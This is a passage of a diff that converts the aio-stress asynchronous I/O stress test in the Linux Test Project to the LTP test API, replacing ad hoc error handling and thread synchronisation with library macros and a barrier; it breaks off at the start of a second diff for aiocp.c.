-585,8 +573,10 @@ off_t random_byte_offset(struct io_oper * oper) off_t offset = 1; range = (oper->end - oper->start) / (1024 * 1024); + if ((page_size_mask + 1) > (1024 * 1024)) offset = (page_size_mask + 1) / (1024 * 1024); + if (range < offset) range = 0; else @@ -603,9 +593,9 @@ off_t random_byte_offset(struct io_oper * oper) num = (num + page_size_mask) & ~page_size_mask; rand_byte += num; - if (rand_byte + oper->reclen > oper->end) { + if (rand_byte + oper->reclen > oper->end) rand_byte -= oper->reclen; - } + return rand_byte; } @@ -623,33 +613,27 @@ static struct io_unit *build_iocb(struct thread_info *t, struct io_oper *oper) off_t rand_byte; io = find_iou(t, oper); - if (!io) { - fprintf(stderr, "unable to find io unit\n"); - return NULL; - } + if (!io) + tst_brk(TBROK, "unable to find io unit"); switch (oper->rw) { case WRITE: - io_prep_pwrite(&io->iocb, oper->fd, io->buf, oper->reclen, - oper->last_offset); + io_prep_pwrite(&io->iocb, oper->fd, io->buf, oper->reclen, oper->last_offset); oper->last_offset += oper->reclen; break; case READ: - io_prep_pread(&io->iocb, oper->fd, io->buf, oper->reclen, - oper->last_offset); + io_prep_pread(&io->iocb, oper->fd, io->buf, oper->reclen, oper->last_offset); oper->last_offset += oper->reclen; break; case RREAD: rand_byte = random_byte_offset(oper); oper->last_offset = rand_byte; - io_prep_pread(&io->iocb, oper->fd, io->buf, oper->reclen, - rand_byte); + io_prep_pread(&io->iocb, oper->fd, io->buf, oper->reclen, rand_byte); break; case RWRITE: rand_byte = random_byte_offset(oper); oper->last_offset = rand_byte; - io_prep_pwrite(&io->iocb, oper->fd, io->buf, oper->reclen, - rand_byte); + io_prep_pwrite(&io->iocb, oper->fd, io->buf, oper->reclen, rand_byte); break; } @@ -666,12 +650,15 @@ static int finish_oper(struct thread_info *t, struct io_oper *oper) unsigned long last_err; io_oper_wait(t, oper); + last_err = oper->last_err; - if (oper->num_pending > 0) { - fprintf(stderr, "oper num_pending is %d\n", oper->num_pending); - } - close(oper->fd); + + if (oper->num_pending > 0) + tst_res(TINFO, "oper num_pending is %d", oper->num_pending); + + SAFE_CLOSE(oper->fd); free(oper); + return last_err; } @@ -680,16 +667,11 @@ static int finish_oper(struct thread_info *t, struct io_oper *oper) * null on error */ static struct io_oper *create_oper(int fd, int rw, off_t start, off_t end, - int reclen, int depth, int iter, - char *file_name) + int reclen, int depth, char *file_name) { struct io_oper *oper; - oper = malloc(sizeof(*oper)); - if (!oper) { - fprintf(stderr, "unable to allocate io oper\n"); - return NULL; - } + oper = SAFE_MALLOC(sizeof(*oper)); memset(oper, 0, sizeof(*oper)); oper->depth = depth; @@ -709,8 +691,8 @@ static struct io_oper *create_oper(int fd, int rw, off_t start, off_t end, * does setup on num_ios worth of iocbs, but does not actually * start any io */ -int build_oper(struct thread_info *t, struct io_oper *oper, int num_ios, - struct iocb **my_iocbs) +static int build_oper(struct thread_info *t, struct io_oper *oper, int num_ios, + struct iocb **my_iocbs) { int i; struct io_unit *io; @@ -726,11 +708,12 @@ int build_oper(struct thread_info *t, struct io_oper *oper, int num_ios, for (i = 0; i < num_ios; i++) { io = build_iocb(t, oper); - if (!io) { + if (!io) return -1; - } + my_iocbs[i] = &io->iocb; } + return num_ios; } @@ -738,21 +721,21 @@ int build_oper(struct thread_info *t, struct io_oper *oper, int num_ios, * runs through the iocbs in the array provided and updates * counters in the associated oper struct */ -static void update_iou_counters(struct iocb **my_iocbs, int nr, - struct timeval *tv_now) +static void update_iou_counters(struct iocb **my_iocbs, int nr, struct timeval *tv_now) { struct io_unit *io; int i; + for (i = 0; i < nr; i++) { io = (struct io_unit *)(my_iocbs[i]); io->io_oper->num_pending++; io->io_oper->started_ios++; - io->io_start_time = *tv_now; /* set time of io_submit */ + io->io_start_time = *tv_now; /* set time of io_submit */ } } /* starts some io for a given file, returns zero if all went well */ -int run_built(struct thread_info *t, int num_ios, struct iocb **my_iocbs) +static int run_built(struct thread_info *t, int num_ios, struct iocb **my_iocbs) { int ret; struct timeval start_time; @@ -761,6 +744,7 @@ int run_built(struct thread_info *t, int num_ios, struct iocb **my_iocbs) resubmit: gettimeofday(&start_time, NULL); ret = io_submit(t->io_ctx, num_ios, my_iocbs); + gettimeofday(&stop_time, NULL); calc_latency(&start_time, &stop_time, &t->io_submit_latency); @@ -778,21 +762,21 @@ resubmit: */ if (ret > 0 || ret == -EAGAIN) { int old_ret = ret; - if ((ret = read_some_events(t) > 0)) { - goto resubmit; - } else { - fprintf(stderr, "ret was %d and now is %d\n", - ret, old_ret); - abort(); - } + + ret = read_some_events(t); + if (ret <= 0) + tst_brk(TBROK, "ret was %d and now is %d", ret, old_ret); + + goto resubmit; } - fprintf(stderr, "ret %d (%s) on io_submit\n", ret, - strerror(-ret)); + tst_res(TINFO, "ret %d (%s) on io_submit", ret, tst_strerrno(-ret)); return -1; } + update_iou_counters(my_iocbs, ret, &stop_time); t->num_global_pending += ret; + return 0; } @@ -803,21 +787,18 @@ resubmit: static int restart_oper(struct io_oper *oper) { int new_rw = 0; + if (oper->last_err) return 0; - /* this switch falls through */ - switch (oper->rw) { - case WRITE: - if (stages & (1 << READ)) - new_rw = READ; - case READ: - if (!new_rw && stages & (1 << RWRITE)) - new_rw = RWRITE; - case RWRITE: - if (!new_rw && stages & (1 << RREAD)) - new_rw = RREAD; - } + if (oper->rw == WRITE && (stages & (1 << READ))) + new_rw = READ; + + if (oper->rw == READ && (!new_rw && stages & (1 << RWRITE))) + new_rw = RWRITE; + + if (oper->rw == RWRITE && (!new_rw && stages & (1 << RREAD))) + new_rw = RREAD; if (new_rw) { oper->started_ios = 0; @@ -834,30 +815,28 @@ static int restart_oper(struct io_oper *oper) oper->rw = new_rw; return 1; } + return 0; } static int oper_runnable(struct io_oper *oper) { struct stat buf; - int ret; /* first context is always runnable, if started_ios > 0, no need to * redo the calculations */ if (oper->started_ios || oper->start == 0) return 1; - /* - * only the sequential phases force delays in starting */ + + /* only the sequential phases force delays in starting */ if (oper->rw >= RWRITE) return 1; - ret = fstat(oper->fd, &buf); - if (ret < 0) { - perror("fstat"); - exit(1); - } + + SAFE_FSTAT(oper->fd, &buf); if (S_ISREG(buf.st_mode) && buf.st_size < oper->start) return 0; + return 1; } @@ -872,8 +851,7 @@ static int oper_runnable(struct io_oper *oper) * active list. Any operations that have finished are moved onto * the finished_opers list. */ -static int run_active_list(struct thread_info *t, - int io_iter, int max_io_submit) +static int run_active_list(struct thread_info *t, int io_iter, int max_io_submit) { struct io_oper *oper; struct io_oper *built_opers = NULL; @@ -882,6 +860,7 @@ static int run_active_list(struct thread_info *t, int num_built = 0; oper = t->active_opers; + while (oper) { if (!oper_runnable(oper)) { oper = oper->next; @@ -889,6 +868,7 @@ static int run_active_list(struct thread_info *t, break; continue; } + ret = build_oper(t, oper, io_iter, my_iocbs); if (ret >= 0) { my_iocbs += ret; @@ -901,12 +881,12 @@ static int run_active_list(struct thread_info *t, } else break; } + if (num_built) { ret = run_built(t, num_built, t->iocbs); - if (ret < 0) { - fprintf(stderr, "error %d on run_built\n", ret); - exit(1); - } + if (ret < 0) + tst_brk(TBROK, "error %d on run_built", ret); + while (built_opers) { oper = built_opers; oper_list_del(oper, &built_opers); @@ -917,46 +897,28 @@ static int run_active_list(struct thread_info *t, } } } - return 0; -} - -void drop_shm() -{ - int ret; - struct shmid_ds ds; - if (use_shm != USE_SHM) - return; - ret = shmctl(shm_id, IPC_RMID, &ds); - if (ret) { - perror("shmctl IPC_RMID"); - } + return 0; } -void aio_setup(io_context_t * io_ctx, int n) +static void aio_setup(io_context_t *io_ctx, int n) { int res = io_queue_init(n, io_ctx); - if (res != 0) { - fprintf(stderr, "io_queue_setup(%d) returned %d (%s)\n", - n, res, strerror(-res)); - exit(3); - } + + if (res != 0) + tst_brk(TBROK, "io_queue_setup(%d) returned %d (%s)", n, res, tst_strerrno(-res)); } /* * allocate io operation and event arrays for a given thread */ -int setup_ious(struct thread_info *t, - int num_files, int depth, int reclen, int max_io_submit) +static void setup_ious(struct thread_info *t, int num_files, int depth, int reclen, int max_io_submit) { int i; size_t bytes = num_files * depth * sizeof(*t->ios); - t->ios = malloc(bytes); - if (!t->ios) { - fprintf(stderr, "unable to allocate io units\n"); - return -1; - } + t->ios = SAFE_MALLOC(bytes); + memset(t->ios, 0, bytes); for (i = 0; i < depth * num_files; i++) { @@ -970,35 +932,20 @@ int setup_ious(struct thread_info *t, t->ios[i].next = t->free_ious; t->free_ious = t->ios + i; } + if (verify) { verify_buf = aligned_buffer; memset(verify_buf, 'b', reclen); } - t->iocbs = malloc(sizeof(struct iocb *) * max_io_submit); - if (!t->iocbs) { - fprintf(stderr, "unable to allocate iocbs\n"); - goto free_buffers; - } - + t->iocbs = SAFE_MALLOC(sizeof(struct iocb *) * max_io_submit); memset(t->iocbs, 0, max_io_submit * sizeof(struct iocb *)); - t->events = malloc(sizeof(struct io_event) * depth * num_files); - if (!t->events) { - fprintf(stderr, "unable to allocate ram for events\n"); - goto free_buffers; - } + t->events = SAFE_MALLOC(sizeof(struct io_event) * depth * num_files); memset(t->events, 0, num_files * sizeof(struct io_event) * depth); t->num_global_ios = num_files * depth; t->num_global_events = t->num_global_ios; - return 0; - -free_buffers: - free(t->ios); - free(t->iocbs); - free(t->events); - return -1; } /* @@ -1008,8 +955,7 @@ free_buffers: * and without trying to find a special place in each thread to map the * buffers to */ -int setup_shared_mem(int num_threads, int num_files, int depth, - int reclen, int max_io_submit) +static int setup_shared_mem(int num_threads, int num_files, int depth, int reclen) { char *p = NULL; size_t total_ram; @@ -1017,6 +963,7 @@ int setup_shared_mem(int num_threads, int num_files, int depth, padded_reclen = (reclen + page_size_mask) / (page_size_mask + 1); padded_reclen = padded_reclen * (page_size_mask + 1); total_ram = num_files * depth * padded_reclen + num_threads; + if (verify) total_ram += padded_reclen; @@ -1024,63 +971,40 @@ int setup_shared_mem(int num_threads, int num_files, int depth, total_ram += page_size_mask; if (use_shm == USE_MALLOC) { - p = malloc(total_ram); + p = SAFE_MALLOC(total_ram); } else if (use_shm == USE_SHM) { - shm_id = shmget(IPC_PRIVATE, total_ram, IPC_CREAT | 0700); - if (shm_id < 0) { - perror("shmget"); - drop_shm(); - goto free_buffers; - } - p = shmat(shm_id, (char *)0x50000000, 0); - if ((long)p == -1) { - perror("shmat"); - goto free_buffers; - } - /* won't really be dropped until we shmdt */ - drop_shm(); + SAFE_SHMGET(IPC_PRIVATE, total_ram, IPC_CREAT | 0700); + p = SAFE_SHMAT(shm_id, (char *)0x50000000, 0); } else if (use_shm == USE_SHMFS) { - char mmap_name[16]; /* /dev/shm/ + null + XXXXXX */ + char mmap_name[16]; /* /dev/shm/ + null + XXXXXX */ int fd; strcpy(mmap_name, "/dev/shm/XXXXXX"); fd = mkstemp(mmap_name); - if (fd < 0) { - perror("mkstemp"); - goto free_buffers; - } - unlink(mmap_name); - ftruncate(fd, total_ram); + if (fd < 0) + tst_brk(TBROK, "mkstemp error"); + + SAFE_UNLINK(mmap_name); + SAFE_FTRUNCATE(fd, total_ram); + shm_id = fd; - p = mmap((char *)0x50000000, total_ram, - PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); - if (p == MAP_FAILED) { - perror("mmap"); - goto free_buffers; - } - } - if (!p) { - fprintf(stderr, "unable to allocate buffers\n"); - goto free_buffers; + p = SAFE_MMAP((char *)0x50000000, total_ram, + PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); } + unaligned_buffer = p; - p = (char *)((intptr_t) (p + page_size_mask) & ~page_size_mask); + p = (char *)((intptr_t)(p + page_size_mask) & ~page_size_mask); aligned_buffer = p; - return 0; -free_buffers: - drop_shm(); - if (unaligned_buffer) - free(unaligned_buffer); - return -1; + return 0; } /* * runs through all the thread_info structs and calculates a combined * throughput */ -void global_thread_throughput(struct thread_info *t, char *this_stage) +static void global_thread_throughput(struct thread_info *t, char *this_stage) { int i; double runtime = time_since_now(&global_stage_start_time); @@ -1089,16 +1013,14 @@ void global_thread_throughput(struct thread_info *t, char *this_stage) for (i = 0; i < num_threads; i++) { total_mb += global_thread_info[i].stage_mb_trans; + if (!min_trans || t->stage_mb_trans < min_trans) min_trans = t->stage_mb_trans; } + if (total_mb) { - fprintf(stderr, "%s throughput (%.2f MB/s) ", this_stage, - total_mb / runtime); - fprintf(stderr, "%.2f MB in %.2fs", total_mb, runtime); - if (stonewall) - fprintf(stderr, " min transfer %.2fMB", min_trans); - fprintf(stderr, "\n"); + tst_res(TINFO, "%s throughput (%.2f MB/s)", this_stage, total_mb / runtime); + tst_res(TINFO, "%.2f MB in %.2fs", total_mb, runtime); } } @@ -1111,30 +1033,22 @@ void global_thread_throughput(struct thread_info *t, char *this_stage) * various timings are printed in between the stages, along with * thread synchronization if there are more than one threads. */ -int worker(struct thread_info *t) +static int *worker(struct thread_info *t) { struct io_oper *oper; char *this_stage = NULL; struct timeval stage_time; int status = 0; - int iteration = 0; int cnt; aio_setup(&t->io_ctx, 512); restart: if (num_threads > 1) { - pthread_mutex_lock(&stage_mutex); - threads_starting++; - if (threads_starting == num_threads) { - threads_ending = 0; + if (pthread_barrier_wait(&worker_barrier)) gettimeofday(&global_stage_start_time, NULL); - pthread_cond_broadcast(&stage_cond); - } - while (threads_starting != num_threads) - pthread_cond_wait(&stage_cond, &stage_mutex); - pthread_mutex_unlock(&stage_mutex); } + if (t->active_opers) { this_stage = stage_name(t->active_opers->rw); gettimeofday(&stage_time, NULL); @@ -1142,19 +1056,13 @@ restart: } cnt = 0; + /* first we send everything through aio */ - while (t->active_opers - && (cnt < iterations || iterations == RUN_FOREVER)) { - if (stonewall && threads_ending) { - oper = t->active_opers; - oper->stonewalled = 1; - oper_list_del(oper, &t->active_opers); - oper_list_add(oper, &t->finished_opers); - } else { - run_active_list(t, io_iter, max_io_submit); - } + while (t->active_opers && cnt < iterations) { + run_active_list(t, io_iter, max_io_submit); cnt++; } + if (latency_stats) print_latency(t); @@ -1175,47 +1083,40 @@ restart: */ oper = t->finished_opers; while (oper) { - if (fsync_stages) - fsync(oper->fd); + if (!no_fsync_stages) + SAFE_FSYNC(oper->fd); + t->stage_mb_trans += oper_mb_trans(oper); + if (restart_oper(oper)) { oper_list_del(oper, &t->finished_opers); oper_list_add(oper, &t->active_opers); oper = t->finished_opers; continue; } + oper = oper->next; + if (oper == t->finished_opers) break; } if (t->stage_mb_trans && t->num_files > 0) { double seconds = time_since_now(&stage_time); - fprintf(stderr, - "thread %td %s totals (%.2f MB/s) %.2f MB in %.2fs\n", + + tst_res(TINFO, "thread %td %s totals (%.2f MB/s) %.2f MB in %.2fs", t - global_thread_info, this_stage, - t->stage_mb_trans / seconds, t->stage_mb_trans, - seconds); + t->stage_mb_trans / seconds, t->stage_mb_trans, seconds); } if (num_threads > 1) { - pthread_mutex_lock(&stage_mutex); - threads_ending++; - if (threads_ending == num_threads) { - threads_starting = 0; - pthread_cond_broadcast(&stage_cond); + if (pthread_barrier_wait(&worker_barrier)) global_thread_throughput(t, this_stage); - } - while (threads_ending != num_threads) - pthread_cond_wait(&stage_cond, &stage_mutex); - pthread_mutex_unlock(&stage_mutex); } /* someone got restarted, go back to the beginning */ - if (t->active_opers && (cnt < iterations || iterations == RUN_FOREVER)) { - iteration++; + if (t->active_opers && cnt < iterations) goto restart; - } /* finally, free all the ram */ while (t->finished_opers) { @@ -1224,210 +1125,119 @@ restart: status = finish_oper(t, oper); } - if (t->num_global_pending) { - fprintf(stderr, "global num pending is %d\n", - t->num_global_pending); - } + if (t->num_global_pending) + tst_res(TINFO, "global num pending is %d", t->num_global_pending); + io_queue_release(t->io_ctx); - return status; + return (void *)(intptr_t)status; } -typedef void *(*start_routine) (void *); -int run_workers(struct thread_info *t, int num_threads) +typedef void *(*start_routine)(void *); +static int run_workers(struct thread_info *t, int num_threads) { - int ret; + void *retval; + int ret = 0; int i; + pthread_barrier_init(&worker_barrier, NULL, num_threads); + + for (i = 0; i < num_threads; i++) + SAFE_PTHREAD_CREATE(&t[i].tid, NULL, (start_routine)worker, t + i); + for (i = 0; i < num_threads; i++) { - ret = - pthread_create(&t[i].tid, NULL, (start_routine) worker, - t + i); - if (ret) { - perror("pthread_create"); - exit(1); - } - } - for (i = 0; i < num_threads; i++) { - ret = pthread_join(t[i].tid, NULL); - if (ret) { - perror("pthread_join"); - exit(1); - } + SAFE_PTHREAD_JOIN(t[i].tid, &retval); + ret |= (intptr_t)retval; } - return 0; + + pthread_barrier_destroy(&worker_barrier); + + return ret; } -off_t parse_size(char *size_arg, off_t mult) +static void setup(void) { - char c; - int num; - off_t ret; - c = size_arg[strlen(size_arg) - 1]; - if (c > '9') { - size_arg[strlen(size_arg) - 1] = '\0'; + int maxaio; + int stages_i; + + page_size_mask = getpagesize() - 1; + + SAFE_FILE_SCANF("/proc/sys/fs/aio-max-nr", "%d", &maxaio); + tst_res(TINFO, "Maximum AIO blocks: %d", maxaio); + + if (tst_parse_int(str_num_files, &num_files, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of files to generate '%s'", str_num_files); + + if (tst_parse_int(str_max_io_submit, &max_io_submit, 0, INT_MAX)) + tst_brk(TBROK, "Invalid number of iocbs '%s'", str_max_io_submit); + + if (max_io_submit > maxaio) + tst_res(TCONF, "Number of async IO blocks passed the maximum (%d)", maxaio); + + if (tst_parse_int(str_num_contexts, &num_contexts, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of contexts per file '%s'", str_num_contexts); + + if (tst_parse_filesize(str_context_offset, &context_offset, 1, LLONG_MAX)) + tst_brk(TBROK, "Invalid offset between contexts '%s'", str_context_offset); + + if (tst_parse_filesize(str_file_size, &file_size, 1, LLONG_MAX)) + tst_brk(TBROK, "Invalid file size '%s'", str_file_size); + + if (tst_parse_filesize(str_rec_len, &rec_len, 1, LONG_MAX)) + tst_brk(TBROK, "Invalid record size '%s'", str_rec_len); + + if (tst_parse_int(str_depth, &depth, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of pending aio requests '%s'", str_depth); + + if (tst_parse_int(str_io_iter, &io_iter, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of I/O per file '%s'", str_io_iter); + + if (tst_parse_int(str_iterations, &iterations, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of total ayncs I/O '%s'", str_iterations); + + if (tst_parse_int(str_stages, &stages_i, 0, INT_MAX)) + tst_brk(TBROK, "Invalid stage number '%s'", str_stages); + + if (stages_i) { + stages |= 1 << stages_i; + tst_res(TINFO, "Adding stage %s", stage_name(stages_i)); } - num = atoi(size_arg); - switch (c) { - case 'g': - case 'G': - mult = 1024 * 1024 * 1024; - break; - case 'm': - case 'M': - mult = 1024 * 1024; - break; - case 'k': - case 'K': - mult = 1024; - break; - case 'b': - case 'B': - mult = 1; - break; + + if (tst_parse_int(str_num_threads, &num_threads, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of threads '%s'", str_num_threads); + + if (str_o_flag) { + if (tst_fs_type(".") == TST_TMPFS_MAGIC) + tst_brk(TCONF, "O_DIRECT not supported on tmpfs"); + o_flag = O_DIRECT; + } else { + o_flag = O_SYNC; } - ret = mult * num; - return ret; -} -void print_usage(void) -{ - printf - ("usage: aio-stress [-s size] [-r size] [-a size] [-d num] [-b num]\n"); - printf - (" [-i num] [-t num] [-c num] [-C size] [-nxhOS ]\n"); - printf(" file1 [file2 ...]\n"); - printf("\t-a size in KB at which to align buffers\n"); - printf("\t-b max number of iocbs to give io_submit at once\n"); - printf("\t-c number of io contexts per file\n"); - printf("\t-C offset between contexts, default 2MB\n"); - printf("\t-s size in MB of the test file(s), default 1024MB\n"); - printf("\t-r record size in KB used for each io, default 64KB\n"); - printf - ("\t-d number of pending aio requests for each file, default 64\n"); - printf("\t-i number of I/O per file sent before switching\n" - "\t to the next file, default 8\n"); - printf("\t-I total number of ayncs I/O the program will run, " - "default is run until Cntl-C\n"); - printf("\t-O Use O_DIRECT (not available in 2.4 kernels),\n"); - printf("\t-S Use O_SYNC for writes\n"); - printf("\t-o add an operation to the list: write=0, read=1,\n"); - printf("\t random write=2, random read=3.\n"); - printf("\t repeat -o to specify multiple ops: -o 0 -o 1 etc.\n"); - printf - ("\t-m shm use ipc shared memory for io buffers instead of malloc\n"); - printf("\t-m shmfs mmap a file in /dev/shm for io buffers\n"); - printf("\t-n no fsyncs between write stage and read stage\n"); - printf("\t-l print io_submit latencies after each stage\n"); - printf("\t-L print io completion latencies after each stage\n"); - printf("\t-t number of threads to run\n"); - printf("\t-u unlink files after completion\n"); - printf("\t-v verification of bytes written\n"); - printf("\t-x turn off thread stonewalling\n"); - printf("\t-h this message\n"); - printf - ("\n\t the size options (-a -s and -r) allow modifiers -s 400{k,m,g}\n"); - printf("\t translate to 400KB, 400MB and 400GB\n"); - printf("version %s\n", PROG_VERSION); + if (str_use_shm) { + if (!strcmp(str_use_shm, "shm")) { + tst_res(TINFO, "using ipc shm"); + use_shm = USE_SHM; + } else if (!strcmp(str_use_shm, "shmfs")) { + tst_res(TINFO, "using /dev/shm for buffers"); + use_shm = USE_SHMFS; + } else { + tst_brk(TBROK, "Invalid shm option '%s'", str_use_shm); + } + } } -int main(int ac, char **av) +static void run(void) { - int rwfd; - int i; - int j; - int c; - - off_t file_size = 1 * 1024 * 1024 * 1024; + char files[num_files][265]; int first_stage = WRITE; struct io_oper *oper; int status = 0; - int num_files = 0; int open_fds = 0; struct thread_info *t; - - page_size_mask = getpagesize() - 1; - - while (1) { - c = getopt(ac, av, "a:b:c:C:m:s:r:d:i:I:o:t:lLnhOSxvu"); - if (c < 0) - break; - - switch (c) { - case 'a': - page_size_mask = parse_size(optarg, 1024); - page_size_mask--; - break; - case 'c': - num_contexts = atoi(optarg); - break; - case 'C': - context_offset = parse_size(optarg, 1024 * 1024); - case 'b': - max_io_submit = atoi(optarg); - break; - case 's': - file_size = parse_size(optarg, 1024 * 1024); - break; - case 'd': - depth = atoi(optarg); - break; - case 'r': - rec_len = parse_size(optarg, 1024); - break; - case 'i': - io_iter = atoi(optarg); - break; - case 'I': - iterations = atoi(optarg); - break; - case 'n': - fsync_stages = 0; - break; - case 'l': - latency_stats = 1; - break; - case 'L': - completion_latency_stats = 1; - break; - case 'm': - if (!strcmp(optarg, "shm")) { - fprintf(stderr, "using ipc shm\n"); - use_shm = USE_SHM; - } else if (!strcmp(optarg, "shmfs")) { - fprintf(stderr, "using /dev/shm for buffers\n"); - use_shm = USE_SHMFS; - } - break; - case 'o': - i = atoi(optarg); - stages |= 1 << i; - fprintf(stderr, "adding stage %s\n", stage_name(i)); - break; - case 'O': - o_direct = O_DIRECT; - break; - case 'S': - o_sync = O_SYNC; - break; - case 't': - num_threads = atoi(optarg); - break; - case 'x': - stonewall = 0; - break; - case 'u': - unlink_files = 1; - break; - case 'v': - verify = 1; - break; - case 'h': - default: - print_usage(); - exit(1); - } - } + int rwfd; + int i; + int j; /* * make sure we don't try to submit more I/O than we have allocated @@ -1435,28 +1245,15 @@ int main(int ac, char **av) */ if (depth < io_iter) { io_iter = depth; - fprintf(stderr, "dropping io_iter to %d\n", io_iter); - } - - if (optind >= ac) { - print_usage(); - exit(1); + tst_res(TINFO, "dropping io_iter to %d", io_iter); } - num_files = ac - optind; - if (num_threads > (num_files * num_contexts)) { num_threads = num_files * num_contexts; - fprintf(stderr, - "dropping thread count to the number of contexts %d\n", - num_threads); + tst_res(TINFO, "Dropping thread count to the number of contexts %d", num_threads); } - t = malloc(num_threads * sizeof(*t)); - if (!t) { - perror("malloc"); - exit(1); - } + t = SAFE_MALLOC(num_threads * sizeof(*t)); memset(t, 0, num_threads * sizeof(*t)); global_thread_info = t; @@ -1471,100 +1268,108 @@ int main(int ac, char **av) */ if (max_io_submit < io_iter) { io_iter = max_io_submit; - fprintf(stderr, "dropping io_iter to %d\n", io_iter); + tst_res(TINFO, "dropping io_iter to %d", io_iter); } if (!stages) { - stages = - (1 << WRITE) | (1 << READ) | (1 << RREAD) | (1 << RWRITE); + stages = (1 << WRITE) | (1 << READ) | (1 << RREAD) | (1 << RWRITE); } else { for (i = 0; i < LAST_STAGE; i++) { if (stages & (1 << i)) { first_stage = i; - fprintf(stderr, "starting with %s\n", - stage_name(i)); + tst_res(TINFO, "starting with %s", stage_name(i)); break; } } } if (file_size < num_contexts * context_offset) { - fprintf(stderr, "file size %ld too small for %d contexts\n", + tst_brk(TBROK, "file size %ld too small for %d contexts", (long)file_size, num_contexts); - exit(1); } - fprintf(stderr, "file size %ldMB, record size %ldKB, depth %d, " - "I/O per iteration %d\n", - (long)(file_size / (1024 * 1024)), - rec_len / 1024, depth, io_iter); - fprintf(stderr, "max io_submit %d, buffer alignment set to %luKB\n", + tst_res(TINFO, "file size %ldMB, record size %lldKB, depth %d, I/O per iteration %d", + (long)(file_size / (1024 * 1024)), rec_len / 1024, depth, io_iter); + tst_res(TINFO, "max io_submit %d, buffer alignment set to %luKB", max_io_submit, (page_size_mask + 1) / 1024); - fprintf(stderr, "threads %d files %d contexts %d context offset %ldMB " - "verification %s\n", num_threads, num_files, num_contexts, + tst_res(TINFO, "threads %d files %d contexts %d context offset %ldMB verification %s", + num_threads, num_files, num_contexts, (long)(context_offset / (1024 * 1024)), verify ? "on" : "off"); + /* open all the files and do any required setup for them */ - for (i = optind; i < ac; i++) { + for (i = 0; i < num_files; i++) { int thread_index; + + snprintf(files[i], sizeof(files[i]), "file%d.bin", i); + for (j = 0; j < num_contexts; j++) { thread_index = open_fds % num_threads; open_fds++; - rwfd = - open(av[i], O_CREAT | O_RDWR | o_direct | o_sync, - 0600); - if (rwfd == -1) { - fprintf(stderr, - "error while creating file %s: %s", - av[i], strerror(errno)); - exit(1); - } + rwfd = SAFE_OPEN(files[i], O_CREAT | O_RDWR | o_flag, 0600); + + oper = create_oper(rwfd, first_stage, j * context_offset, + file_size - j * context_offset, + rec_len, depth, files[i]); + if (!oper) + tst_brk(TBROK, "error in create_oper"); - oper = - create_oper(rwfd, first_stage, j * context_offset, - file_size - j * context_offset, rec_len, - depth, io_iter, av[i]); - if (!oper) { - fprintf(stderr, "error in create_oper\n"); - exit(-1); - } oper_list_add(oper, &t[thread_index].active_opers); t[thread_index].num_files++; } } - if (setup_shared_mem(num_threads, num_files * num_contexts, - depth, rec_len, max_io_submit)) { - exit(1); - } - for (i = 0; i < num_threads; i++) { - if (setup_ious - (&t[i], t[i].num_files, depth, rec_len, max_io_submit)) - exit(1); - } + + if (setup_shared_mem(num_threads, num_files * num_contexts, depth, rec_len)) + tst_brk(TBROK, "error in setup_shared_mem"); + + for (i = 0; i < num_threads; i++) + setup_ious(&t[i], t[i].num_files, depth, rec_len, max_io_submit); + if (num_threads > 1) { - printf("Running multi thread version num_threads:%d\n", - num_threads); - run_workers(t, num_threads); + tst_res(TINFO, "Running multi thread version num_threads: %d", num_threads); + status = run_workers(t, num_threads); } else { - printf("Running single thread version \n"); - status = worker(t); - } - if (unlink_files) { - for (i = optind; i < ac; i++) { - printf("Cleaning up file %s \n", av[i]); - unlink(av[i]); - } + tst_res(TINFO, "Running single thread version"); + status = (intptr_t)worker(t); } - if (status) { - exit(1); - } - return status; + for (i = 0; i < num_files; i++) + SAFE_UNLINK(files[i]); + + if (status) + tst_res(TFAIL, "Test did not pass"); + else + tst_res(TPASS, "Test passed"); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_tmpdir = 1, + .needs_root = 1, + .max_runtime = 1800, + .options = (struct tst_option[]){ + { "a:", &str_iterations, "Total number of ayncs I/O the program will run (default 500)" }, + { "b:", &str_max_io_submit, "Max number of iocbs to give io_submit at once" }, + { "c:", &str_num_contexts, "Number of io contexts per file" }, + { "d:", &str_depth, "Number of pending aio requests for each file (default 64)" }, + { "e:", &str_io_iter, "Number of I/O per file sent before switching to the next file (default 8)" }, + { "f:", &str_num_files, "Number of files to generate" }, + { "g:", &str_context_offset, "Offset between contexts (default 2M)" }, + { "l", &latency_stats, "Print io_submit latencies after each stage" }, + { "L", &completion_latency_stats, "Print io completion latencies after each stage" }, + { "m", &str_use_shm, "SHM use ipc shared memory for io buffers instead of malloc" }, + { "n", &no_fsync_stages, "No fsyncs between write stage and read stage" }, + { "o:", &str_stages, "Add an operation to the list: write=0, read=1, random write=2, random read=3" }, + { "O", &str_o_flag, "Use O_DIRECT" }, + { "r:", &str_rec_len, "Record size in KB used for each io (default 64K)" }, + { "s:", &str_file_size, "Size in MB of the test file(s) (default 1024M)" }, + { "t:", &str_num_threads, "Number of threads to run" }, + { "u", &unlink_files, "Unlink files after completion" }, + { "v", &verify, "Verification of bytes written" }, + {}, + }, +}; #else -int main(void) -{ - fprintf(stderr, "test requires libaio and it's development packages\n"); - return TCONF; -} +TST_TEST_TCONF("test requires libaio and its development packages"); #endif diff --git a/testcases/kernel/io/ltp-aiodio/aiocp.c b/testcases/kernel/io/ltp-aiodio/aiocp.c index d315353d..6212d8ee 100755 --- a/testcases/kernel/io/ltp-aiodio/aiocp.c +++ b/testcases/kernel/io/ltp-aiodio/aiocp.c @@ -1,607 +1,337 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * version of copy command using async i/o - * From: Stephen Hemminger - * Modified by Daniel McNeil for testing aio. - * - added -a alignment - * - added -b blksize option - * _ added -s size option - * - added -f open_flag option - * - added -w (no write) option (reads from source only) - * - added -n (num aio) option - * - added -z (zero dest) opton (writes zeros to dest only) - * - added -D delay_ms option - * - * Copy file by using a async I/O state machine. - * 1. Start read request - * 2. When read completes turn it into a write request - * 3. When write completes decrement counter and free resources + * Copyright (c) 2004 Stephen Hemminger + * Copyright (c) 2004 Daniel McNeil + * Copyright (c) 2004 Marty Ridgeway + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * + * Copy file by using an 